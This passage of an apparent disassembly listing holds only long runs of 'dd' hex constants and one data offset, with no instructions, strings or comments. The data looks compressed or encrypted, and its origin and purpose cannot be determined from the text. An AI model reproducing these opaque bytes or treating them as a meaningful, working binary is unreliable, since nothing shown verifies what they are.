		dd 1A7B8368h, 426CDA78h, 19404469h, 1369394Fh, 0E51135CDh
		dd 0D78E09Dh, 0B3DA58Ch, 0E98DC03Ch, 94F17F22h,	0CB0DF77Ah
		dd 233101A2h, 45F3DDDBh, 0C25B71CCh, 786159Ch, 5D265315h
		dd 90370D32h, 0AA6ADBFEh, 8F5216CBh, 4D2E6CD4h,	0F59DAB0h
		dd 30892D57h, 350DCC1Ah, 785D24FDh, 0D3CECB9Bh,	0D4043228h
		dd 0DBD22E83h, 0A629C1C3h, 0C417B092h, 0D53BBBC4h, 672B4462h
		dd 1446D6B4h, 0F5B15Ah,	2454F9A5h, 1F6C259Dh, 1AF28A28h
		dd 7EA7ED07h, 0FA617EC2h, 23D41337h, 71DDD345h,	0FFFAA4D3h
		dd 0F67FB781h, 0E79B1F81h, 0E8EA0ABAh, 0F694A443h, 72288142h
		dd 402F8FD9h, 262C641h,	1B7C6A0Ah, 8C21F8D0h, 5F9C2E8Ah
		dd 651A8269h, 0DE481C03h, 0E4DA4301h, 446FF433h, 37C11403h
		dd 7F03B3D6h, 0F0499E63h, 21855261h, 4809D5A2h,	0EF57B7E0h
		dd 8B8A659h, 88B17DDBh,	0C764CFDEh, 31019890h, 0C2256D0Ah
		dd 5A20C0D2h, 0D6F17585h, 49FB7405h, 87210639h,	0F25609C2h
		dd 0E780F057h, 323095F2h, 4E4EECBBh, 251131h, 62351414h
		dd 6B466D7Ch, 41602FB1h, 829063ABh, 7161750Bh, 6F959553h
		dd 58882EC6h, 331334F2h, 71AAFA20h, 50E3EB8Ch, 0D0DD92C4h
		dd 0A24530ECh, 156964EAh, 0B7CE0F29h, 0AA21ECFEh, 0C0699ACFh
		dd 72D8E019h, 0D06040C8h, 2405F8D1h, 88894FAAh,	2C7C7F11h
		dd 65CA5442h, 30957114h, 7395A12Ah, 1988BFC8h, 0B262FC43h
		dd 0A1FD42B0h, 69406376h, 60628BFEh, 1F5516D1h,	168C2DB7h
		dd 421FFC7Ah, 66383118h, 0B2013464h, 28048131h,	80367B1Bh
		dd 37BCC6Ch, 0D184D0BFh, 0A831335Bh, 127440E3h,	0CE326AE3h
		dd 0A48618Ah, 8C5D8D3Ch, 2347E334h, 88F0368Ch, 2AA911C3h
		dd 0A60EF5B2h, 55C2F8F8h, 6C4F5E25h, 918E8D80h,	17564089h
		dd 8B1C8AC2h, 400B07CFh, 80997903h, 6D8DA9Fh, 6F638E30h
		dd 208DE3E0h, 0A7318F7Ah, 753DECF8h, 328D06CCh,	288C104Eh
		dd 88235442h, 0C3885D36h, 288C4511h, 1D4AC5BEh,	501E40B3h
		dd 1C439F44h, 27A9572h,	0A720AC03h, 0E4E6658Eh,	4571E495h
		dd 57F3095Bh, 0E8E89E86h, 49E6799h, 118662F3h, 0C1B638E2h
		dd 0BE833998h, 69AB3B75h, 68424704h, 106918F9h,	60BA4B08h
		dd 0DE3B0B04h, 513F379h, 90845828h, 0D444218Bh,	0C5D3E328h
		dd 34312188h, 8B346842h, 7EBD1C38h, 491A2717h, 0EF83D633h
		dd 0E257CEB4h, 8A310FC1h, 44F98E4h, 0F8048591h,	84045AC7h
		dd 13B6CFD9h, 996F4C07h, 5344278Bh, 0A702424h, 0DB8C7A06h
		dd 7F7FDB2h, 582F5E6h, 967A1B09h, 11A87D90h, 0E4FBE36Ch
		dd 3D303500h, 280F6C70h, 0EC07560Bh, 81037AF2h,	346D8BDBh
		dd 5DEFFB0Fh, 9F668A4Ch, 5D5981A0h, 27E15B74h, 0BA4A5748h
		dd 44431BF8h, 196E4302h, 566DE48Eh, 0FEDA39E5h,	0C4809A80h
		dd 51A9A218h, 5D65FBDDh, 4CEBFAA2h, 0DF9A0C31h,	16D528FEh
		dd 208C4414h, 0D0E00EDAh, 53102B78h, 0F8A3BB26h, 54F45920h
		dd 8E058AFAh, 70C013ECh, 34CA5D2h, 2CF6BFD4h, 6F291CFAh
		dd 5CE2A317h, 77B98DEh,	0DACE9F36h, 462D184Eh, 0A22FA22Ah
		dd 0D3F61A0Eh, 4685697h, 5F6DA71Fh, 0D0227C5h, 3408DF3Eh
		dd 0C0707013h, 0F2D8044h, 0E0F6D025h, 0C8CFE686h, 13414F22h
		dd 404D2E03h, 5180191Dh, 407B9A08h, 60C1E040h, 0EB1AD77Dh
		dd 99FC4C52h, 92F6A771h, 40BA9E30h, 14DA0FF1h, 8A224A18h
		dd 0EB285D74h, 6A27B57Eh, 661F4D1Ah, 0ECF305D3h, 121AF946h
		dd 90F24058h, 4A436D51h, 0ED2C0CDCh, 0A4C11409h, 230020BAh
		dd 0A0D6868Dh, 9390F30Bh, 8D945020h, 8194337h, 24F32F13h
		dd 673A4CDFh, 0CF83E08Eh, 45988893h, 9D583EFBh,	474617F9h
		dd 48C016D8h, 0A1A60BB2h, 0B681C2A1h, 8AED022h,	0C281F34h
		dd 23D462FEh, 259034F1h, 0AD584834h, 19B34C69h,	0AD8FA41Dh
		dd 6FCA1D03h, 1D65A51Ah, 0D68AE22Bh, 8E98B93Eh,	0C7AE834Eh
		dd 628C455Ch, 0D96A28Ah, 0E22F622Ch, 302F9449h,	0DD0831BFh
		dd 6D25E39Eh, 14A6604Eh, 0C8144237h, 0AEB69D46h, 0B181610Dh
		dd 8C7B7B44h, 45C67543h, 3C9D2E19h, 9D0AD957h, 497363Dh
		dd 0C50177D4h, 5FC199Bh, 0F9822546h, 4975012h, 0E4552F14h
		dd 345CBD3Ah, 136FB11Dh, 0C0B35D71h, 0CE888268h, 0B8CB30EAh
		dd 0A7D5E678h, 3E1E19ACh, 158FA812h, 91F0E250h,	4B331DC0h
		dd 2E8872B1h, 7AAD6988h
		dd 59ECC5FAh, 9167AE00h, 9D345674h, 2D288729h, 4F785488h
		dd 0A6076D28h, 795B3C9Eh, 7AB77453h, 1AD30952h,	0B5FB2938h
		dd 453EE704h, 52F751D5h, 699694E5h, 8DDF95Dh, 0BF57C1CEh
		dd 9096220Ah, 0E50BE802h, 0B5232131h, 0C6ED3B09h, 3E73F4E0h
		dd 1BE83CFDh, 0F84C4C79h, 513FC039h, 0D804FE26h, 480F4A17h
		dd 0A034D40Ch, 2848E077h, 7C72AE78h, 90138917h,	0FF1D708Bh
		dd 8C75039Ah, 181AB3B2h, 0CB163AC6h, 0E0D0457Eh, 0FB04853Bh
		dd 7218A5A0h, 84534B2Fh, 0DFC410BFh, 2F5E688Fh,	9280E67Fh
		dd 3CD18Ah, 0A5D38814h,	913FF70Eh, 0C7AAACFAh, 0C8F881C2h
		dd 1E1E0713h, 5AB86DF5h, 4FBE60FDh, 5C6F8901h, 7ED19FB4h
		dd 77C4CF2h, 6EF42E94h,	91250F72h, 55A84C7Eh, 0AEF3CAEAh
		dd 0C3466A4Ah, 0AA1E4CD1h, 0FD3DBF8Bh, 0EDFC6D48h, 2E6959E9h
		dd 4EF3039h, 19453C0h, 1120C2BEh, 23C7F126h, 0A2297E9Ah
		dd 8EA2516Fh, 303F3047h, 0E3A8CC4Ah, 0F69D4B11h, 8EA7B7C3h
		dd 33FB2847h, 0F1703C49h, 2BB31E0Ch, 5A398FEDh,	694CC482h
		dd 0F4638B19h, 34D75ED5h, 0D6458367h, 0B6C0FBB9h, 9EBE2C15h
		dd 151EBE7Ch, 0BFEAE8F8h, 727FB155h, 0D558A6C0h, 4509E687h
		dd 0A68C64E5h, 0F303199Fh, 0C97A15B5h, 38070455h, 0ECC460B2h
		dd 57708C16h, 8A2A99Fh,	47553EB3h, 9519B77Bh, 0B5F04281h
		dd 2DC5A702h, 2E51A6C6h, 0B475A27h, 0C5BBC608h,	0C12F3ACh
		dd 0EA5A7BA8h, 48B8A87h, 0E8B90226h, 68B563Ah, 7A48464Ah
		dd 16397311h, 0C5779411h, 0DC12D845h, 4DB713F6h, 46AD776Fh
		dd 0B73DF57Bh, 87BC7747h, 16EB3E8Ah, 0EBCCBF1Eh, 0EC2FD534h
		dd 0D8FBF29Bh, 0D1BED3D3h, 9014FBF3h, 66F50634h, 2F707064h
		dd 419D189Ch, 0CCDACB30h, 62E882AEh, 637DDB44h,	3370A098h
		dd 1BE077Ah, 0DE6C346Bh, 0D67BD567h, 5E4BE190h,	80DC5FF3h
		dd 39EF9505h, 0D2B9E08h, 256A7220h, 0C269C954h,	7C23E06Ah
		dd 0BCFD40F4h, 0DE9EC8F2h, 94A26E3h, 255D0214h,	3DBCB811h
		dd 0E07A9476h, 0C2BAF7AEh, 2E30816Eh, 610C2BCEh, 1C15D1B7h
		dd 0AB0634D9h, 90DE0D82h, 7A874CF2h, 6D00F49h, 0DEBBC34Eh
		dd 661843C0h, 0E30AE524h, 143B464Ah, 7874EE98h,	488FA8F0h
		dd 2E0F1576h, 0EC1721FDh, 0BFF1E1F6h, 4DA92C44h, 5C5F560Ch
		dd 18138398h, 0E1B6C60Eh, 65D80385h, 5A948EE7h,	0D2E914Fh
		dd 0BB8C8B98h, 0F72233DAh, 0DB52DB4h, 0B993B65h, 52C3A9Ch
		dd 0BB67C07Ah, 0DCAFE812h, 7D9D36D3h, 39ED66AFh, 45C0905Bh
		dd 0A2576051h, 0F463CA60h, 0ECC1B1ECh, 57C547F2h, 33003B2Bh
		dd 1C8F9814h, 24D27230h, 0CB097A77h, 50C56720h,	0C1898B54h
		dd 820CB2E4h, 0D424A449h, 4A1D6114h, 0E833A27Eh, 20794AC2h
		dd 863F23A5h, 190BEA9Eh, 0BC31CF94h, 3ED3C60Ch,	5CE3FBh
		dd 0E51D6685h, 35D43867h, 33028481h, 2E7489A9h,	0F343E62Ch
		dd 0CFAC9803h, 4714E244h, 2487CA60h, 0C1EC7E85h, 3340BA6Eh
		dd 0E045681Ah, 692A1EA7h, 1F0323B0h, 534AC00Ch,	0B0E1CAF0h
		dd 8FDBF833h, 0E3E582DCh, 28010457h, 8670401Bh,	0C916B979h
		dd 0DD843D01h, 5403C1Dh, 71834C56h, 28CBF983h, 2AE755B4h
		dd 62DB881Eh, 0DB43CE31h, 680C71B8h, 8831CBEFh,	0AA81509Fh
		dd 99829C2Ah, 0FBA498D9h, 94A0F6A8h, 6E215989h,	49980487h
		dd 0C083B64h, 79FCD461h, 0CC4C5C42h, 37CE8626h,	5DC4A15Bh
		dd 331A2445h, 3AB76F80h, 9FCECA02h, 754D0906h, 0E661609Dh
		dd 24CAA8C9h, 81563CB2h, 660030D1h, 280760D0h, 800DEE19h
		dd 80D517AFh, 793D602Ah, 52548663h, 4CCBDB67h, 523CA1F8h
		dd 0B8048D8Ah, 0A00FCA7Dh, 3234CA7Dh, 9FCF301Ah, 1740958Bh
		dd 0ED4676AEh, 811623AEh, 96B02431h, 2936E311h,	8AA23AE4h
		dd 39D29F26h, 35875330h, 0D312EF5Eh, 0D7F4C986h, 11E39437h
		dd 46119431h, 9A67080Eh, 24C8282h, 3FA6E950h, 0D8856833h
		dd 7C7D4352h, 604DF2FFh, 0FD0DEB42h, 0D98E48FDh, 6D4C2B07h
		dd 0E9A1479Ah, 3104D03h, 0A8A601DCh, 651306A1h,	0D46633B0h
		dd 81EF15D1h, 18AF57CBh, 4CF3A70Eh, 12292DDDh, 22C523CCh
		dd 0CCE0E788h, 0CAE0EA3h, 0E30467D6h, 9488E620h, 6B0C9303h
		dd 50A08B03h, 8F417DA3h, 5A145095h, 0A37B239Fh,	20D85A0Ch
		dd 87454631h, 817A1B3Bh, 62C02295h, 4702E315h, 0E38AADD0h
		dd 8907BEDBh, 0BE32BE4h, 283755A1h, 1597C803h, 0BE883CBBh
		dd 2D1ED732h, 95462337h, 9037D122h, 5317173Ah, 80CC0198h
		dd 1591F5DFh, 732FECBFh, 6945B2CBh, 8163CB75h, 9DB6994Dh
		dd 0C56E1A2Fh, 6F8A2833h, 0A1C861D5h, 0BA4C3F7Dh, 87C8F1E8h
		dd 0F829CD0Fh, 0ADD01217h, 0EB39F92Bh, 0F1442ABh, 35E8306Bh
		dd 66285B36h, 4788FB52h, 0BEAACA74h, 6ADD9F82h,	5EFB6AAEh
		dd 4D557945h, 4E06C395h, 45A95157h, 0FC9A8191h,	22161047h
		dd 9E5556FAh, 3AB15D4Ch, 874ABEE4h, 0B4094490h,	0F2E1ADD0h
		dd 443B734Ch, 63B504B4h, 0AA694B99h, 260AA6BEh,	31287F2Eh
		dd 7CA98EFDh, 0BDD2AAB7h, 46A35160h, 555F80B8h,	5D830666h
		dd 2E4EB6F4h, 0DE829CFCh, 9FCF2CC0h, 330CC8B9h,	0A47BE8C7h
		dd 1F302CBEh, 0E2158B0Ah, 87C8E67Dh, 0E7989577h, 9190DF3h
		dd 0E1D7D966h, 57225516h, 1EB4203Eh, 0FB0B76B5h, 7715661Dh
		dd 99DF7CDCh, 8AFFF686h, 0DFA2B0F4h, 327FBF58h,	4650EF84h
		dd 0A817E6B5h, 180E018h, 95A857C6h, 95AB298h, 0D6B30869h
		dd 0B9D3361Dh, 4053AD27h, 55E2305Ah, 26004BD8h,	7A03830Dh
		dd 0AAEAF60Fh, 0D79550ABh, 0B96E948Ch, 0AB80F8C5h, 1F58E07Dh
		dd 1ED08A7Eh, 0A756ECA2h, 76CBC201h, 0DF947607h, 5F49A7C5h
		dd 0D109BF4Eh, 1C026A82h, 2A590C8Fh, 579BBBFEh,	21682D6Ah
		dd 0F136C5AAh, 0DAB7A42Ah, 4BE7D5E5h, 0BEDB180Eh, 6AB2A934h
		dd 1CC355F1h, 0E053921Dh, 0A708D808h, 25F63445h, 0C1EEB4F1h
		dd 24E8ED5Bh, 386945C6h, 0A69FB2EBh, 6122CF5h, 433D9F03h
		dd 311095EFh, 180FAAAFh, 0B0BA1152h, 94C2151Dh,	0E84CEADDh
		dd 0FDF60E86h, 0DFF71490h, 4ED2120Bh, 0C5052AE9h, 0D82FD604h
		dd 0BB1F2058h, 0B2A9517Fh, 0B9B19925h, 0B68112C6h, 32889ED0h
		dd 0F0663673h, 39B05C97h, 5256C57Ch, 0E2200864h, 3DE96B0Eh
		dd 262F0E79h, 0C3623A9Bh, 0F2D35BD2h, 2A028AB2h, 6A0CB553h
		dd 9B364632h, 0A3A0B7F4h, 0E65C03C8h, 0AAF8108Bh, 0C764693Bh
		dd 0A7A90FA8h, 0AF5E0ECAh, 2CA900EFh, 0AB5BEE67h, 0AE76811Fh
		dd 0F7220B0Ch, 40774DDCh, 95D41757h, 32960098h,	26B9D0C9h
		dd 50959F76h, 0CB2283D3h, 0DA33E684h, 5A311C8Fh, 4547838Ah
		dd 0CB05C37Dh, 0A316E23Fh, 3F1C9022h, 30CB8CA2h, 6446FE52h
		dd 0EEABF95Fh, 8AABD154h, 359FC73Bh, 4663002Ah,	0FE4B127Dh
		dd 89E94E1Fh, 0DEE2CB8h, 88DB7DE0h, 623611B6h, 488D046Dh
		dd 0CE23A11Bh, 0B288A046h, 6C626611h, 4041D904h, 0BC205CC2h
		dd 11AF8803h, 846B0DE0h, 0B00388D7h, 0EB2AA04Dh, 92429519h
		dd 4C0F0D4Ch, 217D2E51h, 2361A40Ah, 0C7731968h,	0F9186020h
		dd 1A15F64Ah, 7D9DBE20h, 0C318F093h, 35B122A1h,	0C2731B82h
		dd 53C51AD0h, 9148C009h, 9429D124h, 31865A9Eh, 5F7F9100h
		dd 0C2174CFAh, 4F5D8810h, 0A257D0BCh, 0A88040B8h, 7D3E01A6h
		dd 88A82D74h, 0F937A29Dh, 0DFE60642h, 6C815FA7h, 1580E05h
		dd 0A372F191h, 0C256840Fh, 210874Eh, 1395EF08h,	4236A5BBh
		dd 402180C4h, 33EF0911h
		dd 0D8C13A94h, 5BE1DA27h, 83D29523h, 15D84418h,	3D14A756h
		dd 8DD8C310h, 874A20h, 0A0B1622Dh, 4498A7EBh, 205B02D1h
		dd 7C129F66h, 4D112C8Bh, 66218C04h, 941D037Eh, 0DA033A20h
		dd 4C5F2865h, 39CC4E13h, 46401ABCh, 9F557E16h, 399F9AC0h
		dd 4CBEEAD5h, 8CD3FD90h, 154695A3h, 1C4814C3h, 61D40CA9h
		dd 38912895h, 38938E30h, 15108472h, 0D68816EAh,	6BA262Dh
		dd 0B9D1271Dh, 0EC93A31Ah, 85F6F593h, 0BE2862EAh, 68C2D8B7h
		dd 4E88D1C4h, 0EEA72D14h, 52BD2753h, 9ABD933h, 801B5F63h
		dd 541188D5h, 0D484AA23h, 3501A988h, 8D386A22h,	234C1A78h
		dd 8D2469Ah, 9AD411A5h,	0A4274642h, 22906AA0h, 0B6018CAFh
		dd 45ABE17h, 0C3266634h, 8417406Fh, 0AE3D5B28h,	0E1474922h
		dd 786E16B9h, 6E0C1742h, 0C6D5C85Dh, 0AD1D69D4h, 89454F54h
		dd 8BE40EEAh, 6ACE1104h, 87BC41Dh, 413ED8ADh, 34071E1Ah
		dd 4C2F007Ah, 758A5ECAh, 1847DABDh, 8B8A2ABDh, 9CBAE2BCh
		dd 5557BECAh, 0D7723A08h, 0C76F2486h, 858A7850h, 0CFDDC31Ch
		dd 48396FC1h, 37174FF7h, 9F920FDAh, 0B1733A0Ah,	463E12D0h
		dd 305E411Ah, 0C6DA383Bh, 0F06D6268h, 6B40C4B8h, 0BA43A2F9h
		dd 0C9227908h, 6627017h, 0E1A0C2A1h, 42E40D81h,	0BF64E056h
		dd 1BA43AA9h, 0EFCA2110h, 8B1A1EACh, 0D13A8303h, 4D386309h
		dd 1086417Ch, 2682F28h,	0C24A15C3h, 983C2A8h, 0E8C08591h
		dd 0BDDA830Dh, 2BE454h,	1B0B18C7h, 0E503AC6Dh, 8D148215h
		dd 24C4A380h, 0D1D0468Ch, 81470F69h, 0E1B12223h, 12042065h
		dd 7DC3AA87h, 60260FAEh, 51806416h, 7C51545Fh, 42E6C4F6h
		dd 27FA4DC5h, 8015ED28h, 40000E45h, 6000C224h, 70000001h
		dd 434A0041h, 1000h, 0
		dd 20C4AFB0h, 12244046h, 4494C92Ah, 325584ADh, 495E92C8h
		dd 25A24BE5h, 7C4001B6h, 0D7A020D2h, 8E312Ch, 25684ABh
		dd 4953129Fh, 25284A30h, 94192FC5h, 0E50F625Dh,	0C4BA0970h
		dd 92DA25A0h, 4B8C1037h, 0C4AD8955h, 92A52520h,	4A1497F2h
		dd 0F087A004h, 7C097312h, 0DF25A84Bh, 3494CAFCh, 872AF687h
		dd 692F625Fh, 0C48E898Fh, 0C07480C6h, 2C023264h, 0A8495712h
		dd 0B6257E4Ah, 682C39A0h, 21C72560h, 0BE215001h, 1A225384h
		dd 0A3C94492h, 0D95EDB93h, 3E0DE17Eh, 460836h, 31A011B1h
		dd 0F0D6004h, 7B17642Ah, 434801h, 19D25304h, 0A4C94712h
		dd 8925024Bh, 0E57743CCh, 97512E02h, 5B84B609h,	6A12CF25h
		dd 944B1095h, 0F92BA256h, 0C4AC8957h, 12AA254Ah, 4A8094E1h
		dd 29725244h, 0A3894492h, 8425FEBBh, 21F64BD8h,	97892F25h
		dd 0F5AD3390h, 1980023h, 610B38DAh, 1740046Fh, 0C96292D9h
		dd 25C05313h, 0A0816397h, 113E945h, 928AA502h, 4A269415h
		dd 28525174h, 0A1894CD2h, 0B7A5384Ah, 24940D2Bh, 825094A6h
		dd 89419285h, 0A5104A10h, 94512BA2h, 5114B04Ah,	8539021h
		dd 0B9808C35h, 0A838012Fh, 54402D2Bh, 0FF005A4Eh, 528046BEh
		dd 2200C08h, 572CAA18h,	0A2A8E79Eh, 0D54123FDh,	11006E2h
		dd 810F6C04h, 7E172420h, 0B6F42717h, 3430C043h,	0E0EEB100h
		dd 0C688C189h, 0C0B930C6h, 337D27h, 61851E0Fh, 22AC289Dh
		dd 0E6485C84h, 5CD17241h, 734F03CAh, 50C29482h,	0B938CC1h
		dd 12B83126h, 8CB9DB0Bh, 7B0E1BC0h, 21142E28h, 10C092E8h
		dd 0B0C4DA8Ah, 34429104h, 0A42C3906h, 1641972Ah, 730A5B00h
		dd 41BE5D60h, 2CC8D765h, 1E28A5C5h, 6548D30Ah, 66392FA2h
		dd 598BA239h, 70BE2041h, 98164280h, 0C51DE605h,	1EC050DAh
		dd 11EDD3C4h, 9050CE11h, 0EEC028F4h, 28660C2h, 9D3EBF21h
		dd 0C8B8956Fh, 87679A17h, 0DFEDD408h, 0FDD2E563h, 0B85E40A3h
		dd 7C896CB2h, 0DB90C89Bh, 0B6D84D12h, 0B7D8D0AFh, 1BB35CACh
		dd 0A480832Eh, 905C984h, 0DF0512DCh, 5DB2028h, 2E6ED270h
		dd 0FD988D0Ch, 0DD8C2E6Dh, 64732135h, 732837BBh, 615BB081h
		dd 4D90420Bh, 0D944D089h, 7020BB85h, 0C1C131A6h, 1405EDCh
		dd 0C0A6AE81h, 9B80E2D7h, 466AC364h, 53600200h,	5C242413h
		dd 0D321D16Fh, 0B48406D4h, 460908A5h, 0B86108F1h, 45080340h
		dd 0A35D01AFh, 99B733C5h, 0C068CCB6h, 0A80069CDh, 882B59B5h
		dd 24D9ABC5h, 0A4787E24h, 6BE3C96Fh, 1E0A0B4Eh,	165B480Eh
		dd 11E50200h, 320165C2h, 0E862D029h, 1646E72Eh,	4A24DA60h
		dd 50B11AB3h, 896DA07Fh, 81F0123Bh, 902BB36Ah, 0A8F2713Fh
		dd 2533A056h, 68358A80h, 618AD02h, 43D2992h, 407B4904h
		dd 2CF4098Ah, 9370DDCCh, 0D0F11E99h, 0B1D12777h, 17823965h
		dd 0C9814BCh, 2D645D9Ah, 0CD6239B0h, 38376F34h,	0D2267008h
		dd 0C2833088h, 48DDD940h, 0F292D1C1h, 2A1DE095h, 1AE56104h
		dd 8A435261h, 1A6D4EADh, 43A95525h, 0C060D854h,	0A14300FDh
		dd 692DC60h, 7A814CCAh,	0BF3328C3h, 5F08D12h, 0CA160A2Dh
		dd 146B480Ch, 5048C3A0h, 75303002h, 0F2E2F062h,	0C5750605h
		dd 405A5CA5h, 20A39A32h, 0B846A303h, 0AA0B85B5h, 0A403E0E9h
		dd 50322881h, 10490A48h, 70034283h, 0E28C040Ah,	0A4A064C2h
		dd 0F535A6C3h, 26EF2311h, 2A7A94Fh, 315A5D60h, 347188A6h
		dd 9DB219B6h, 0E7D39ABh, 0E189BBB0h, 0B633300Ah, 33B44A1Dh
		dd 0D6E4483Dh, 0C31F549h, 5398D58Ch, 58770441h,	0B44A2A96h
		dd 350C3A1Ah, 31CC3C08h, 0E2C0F0B3h, 3449691Eh,	823606BEh
		dd 14A19AB5h, 6169C637h, 0A175B85Bh, 2D27C155h,	0B53A74CDh
		dd 9E28A031h, 0C208B11Eh, 840AA682h, 94E5A0F8h,	241510CCh
		dd 0BC0EAEB4h, 7CD0EC54h, 3CA99615h, 314A287Eh,	5BD664A7h
		dd 0A1C062E1h, 79514335h, 0E45A7D19h, 49330154h, 6D41B21h
		dd 22ED58D4h, 881530FBh, 6705546Ah, 2E42E179h, 69AB7211h
		dd 55336260h, 0A1D944B4h, 846295C5h, 0BC17A28Ah, 4B29542Bh
		dd 6D1C0AEAh, 23073535h, 0A9B99C0Fh, 483955D4h,	9C2C8B23h
		dd 173641E2h, 3BF81DB1h, 0C9F6031Fh, 0FC0AA6DDh, 8B312296h
		dd 0C6C8669Dh, 2C213949h, 0B75995BDh, 6EF82555h, 94ED2E76h
		dd 93F6E6C8h, 1121808h,	4DBA5B6Eh, 0B0C5725h, 2EBBF482h
		dd 0C3858834h, 14EDCA9Dh, 0D1A2CBABh, 6C5460AAh, 174376B3h
		dd 4F00953Bh, 8585BFC1h, 2A582DAh, 8725D9AEh, 0CBCDC03Dh
		dd 7AA084D8h, 0C58ED62Ah, 175B738Eh, 0C66A0551h, 322C979Ah
		dd 80080FE2h, 0CC429340h, 6C07EDC4h, 130092F2h,	0F0F0C39Ah
		dd 6BADCC4h, 9A0549B9h,	0D0944516h, 467392Ah, 92D40B1Ah
		dd 726D08C6h, 4220FA90h, 0C136A50Ah, 5E8362E4h,	52DC954h
		dd 0DBE26D78h, 8E3D4A20h, 46985F42h, 34752680h,	0ECBB317Eh
		dd 0CA770A38h, 732DC44Bh, 40EAB6E6h, 8F2E156Bh,	49ABBD3Eh
		dd 0CCB08357h, 0A054D610h, 5A9CA513h, 0C0D249A6h, 8B3A8716h
		dd 0CD492673h, 8C031A82h, 0D9096EBBh, 291A0C45h, 0B5496AADh
		dd 611D8296h, 27016DE3h, 130B278Ah, 5CDB960Ch, 40C9AD32h
		dd 0A54D522Ah, 0BC020C29h, 0CB896804h, 71145AB8h, 0A59DA953h
		dd 8A531CE4h, 0EEAC0AEEh, 0F4C6505Ch, 6A6588B2h, 0A81D86C3h
		dd 0C62E0954h, 60E82D67h, 0FCBA830h, 30E047C6h,	0A6206983h
		dd 5025274Bh, 1A40514Dh, 5AD0B0D9h, 0DC9CB2F0h,	151D0A1Dh
		dd 0A1A9C396h, 0CB800C53h, 0AEAD6A0Bh, 0C58C172Ah, 0B531DC67h
		dd 44E4C04Eh, 0A23C6E9h, 4B26A5F1h, 0D203A79Ah,	59B742F7h
		dd 510DEC82h, 537A01D8h, 0C2178911h, 0E2982F56h, 2C4F6021h
		dd 29E6C10Eh, 9C47F20h,	0A4DD3309h, 673466D4h, 0B6638A4h
		dd 6D9C955Bh, 9AD40A68h, 142A966Dh, 2E9521F1h, 0B082C2C4h
		dd 0A29DB37Bh, 472CC2Ch, 565BAA4h, 0F0096FB6h, 85061532h
		dd 836359C0h, 70506288h, 404A512Ah, 0C52A1496h,	0D6520F01h
		dd 0A9DA04A0h, 90D22C1Eh, 28F503E1h, 0FA428CC2h, 8CEA6F55h
		dd 9705349Ah, 0D284D00Ch, 16382DF6h, 123C5053h,	59F40591h
		dd 2822A943h, 2C7128A2h, 51559311h, 6506872Bh, 0C13138Eh
		dd 78188E3h, 0A9402555h, 0A0D14AD6h, 15880A94h,	9C8B471h
		dd 2234F39h, 45A0D56Ah,	8D08A300h, 0EEFE1122h, 2 dup(0)
		dd offset off_418000
		dd 6000434Ah, 0
		dd 30140000h, 0C01120E6h, 14481235h, 3BFFA025h,	0C6DF01B6h
		dd 0DEF8212Eh, 6CAE25FDh, 0DEC6B59Bh, 0F7FE8769h, 5F2B1CE2h
		dd 0D8EF3A9Dh, 7CC729D3h, 0AAE271FAh, 0A76C777Dh, 0F7A7448h
		dd 0CEDE7127h, 0B7D8B37Bh, 613B53BBh, 5EBF1CDDh, 7EC3C4F2h
		dd 7FA1FF47h, 3E788EDEh, 0C76ED50h, 0D416F059h,	57DF9F0Bh
		dd 0D1D30F0Fh, 94CA8935h, 70F2730Dh, 0A757E18Fh, 8F1F98FEh
		dd 0A073DC45h, 0A4BE634h, 564109A4h, 0DD25752Eh, 498B62B7h
		dd 0D6EB1739h, 0BDA43183h, 0B1F2217Bh, 76CF5A0h, 2CEAB723h
		dd 34EBE602h, 1C6212E2h, 1C18784Dh, 40684D66h, 0A4A5DE3h
		dd 0EA125008h, 96B3010Ch, 905391E0h, 7817CA1Ah,	0CACA2D21h
		dd 0A88342E6h, 1D8893A6h, 0B4DBF588h, 8916A54Bh, 60240902h
		dd 3B6D4D9Bh, 65BC0A14h, 5C2E925Dh, 197B1390h, 5A2C56FBh
		dd 74349878h, 10062021h, 1B027ADAh, 0B628070h, 70AD01ABh
		dd 61020785h, 0B04DCACBh, 0B0B64260h, 4B85B700h, 2204B18Ah
		dd 205084CBh, 168168B7h, 41263Fh, 5ACD9C14h, 0A12BB1DDh
		dd 2D238C05h, 850991h, 784C0D85h, 33464ACAh, 29C201F0h
		dd 0B81972D0h, 203036Fh, 5A6EB735h, 0A0A380A4h,	0A116C3B0h
		dd 565D8356h, 1E58066h,	1BAB32B3h, 99A5CC2Eh, 4BC11852h
		dd 943C4BA1h, 0C51B744Ch, 85887995h, 41813665h,	32E8DDECh
		dd 72DE5368h, 0A552C418h, 1ABCEDAh, 0A482E4DDh,	92D73287h
		dd 0D1DE59h, 814B2C61h,	6C3D6290h, 9ED92350h, 8C06B646h
		dd 24118CF8h, 71828943h, 4028145Ah, 6458D220h, 6202B111h
		dd 0DE19500h, 0D280DC88h, 8295EA09h, 0A2421094h, 0BC45CAC4h
		dd 9D5F8DE3h, 4F81BC19h, 413A0015h, 14B4101h, 13A15B4Ch
		dd 0A97C3B77h, 0E0298CBAh, 0E148C31h, 52410343h, 0CA907A2Dh
		dd 40802F68h, 0C6BA6095h, 0DF70066h, 789C016h, 1BD1ACD4h
		dd 0F4E46622h, 0B8C1E58Ah, 0E123667h, 279A5E13h, 3C41ECA6h
		dd 0B0A2BDDCh, 28C55AD4h, 65F81BF2h, 0B98C0EDAh, 7CB2D696h
		dd 0A5A228CCh, 5922CB2Ch, 0C84A979Ah, 9603C796h, 0B76C5ADh
		dd 0CC0A133Eh, 7374805Ch, 32F239BEh, 0E01AB44Eh, 0B0E13491h
		dd 95E09D20h, 0D78A7400h, 60492374h, 14079E62h,	0ECE3BBC7h
		dd 0C6AB0DA0h, 0A1E827D8h, 85D55B5Ch, 2C44749Fh, 7CF6787Ch
		dd 0F31128C2h, 101095F5h, 8DC51B2Bh, 741D6178h,	973B8008h
		dd 1C9C60D1h, 360C0C30h, 0D41853CCh, 0A318B7E8h, 5D25A106h
		dd 0BBC5EFEh, 443B9B17h, 0E0231737h, 0D88A0C73h, 2C773383h
		dd 0B12F562Fh, 3C62A0E1h, 0A3ABA049h, 0A975800Bh, 4D7692B1h
		dd 9851E475h, 0A90551B9h, 6AA30211h, 0EB41201Eh, 79C38BD4h
		dd 381EA66Fh, 0A2C74D53h, 0E33281C0h, 0A1CA7093h, 967457CFh
		dd 5AC4D819h, 0C1D833AFh, 0B825998h, 848A01CBh,	9888C049h
		dd 4A7661A2h, 85A0A69Eh, 8A642229h, 0D9989DA6h,	6067A298h
		dd 60D138FAh, 0DBA05CA2h, 0FD02272Ah, 0D1223138h, 634422C8h
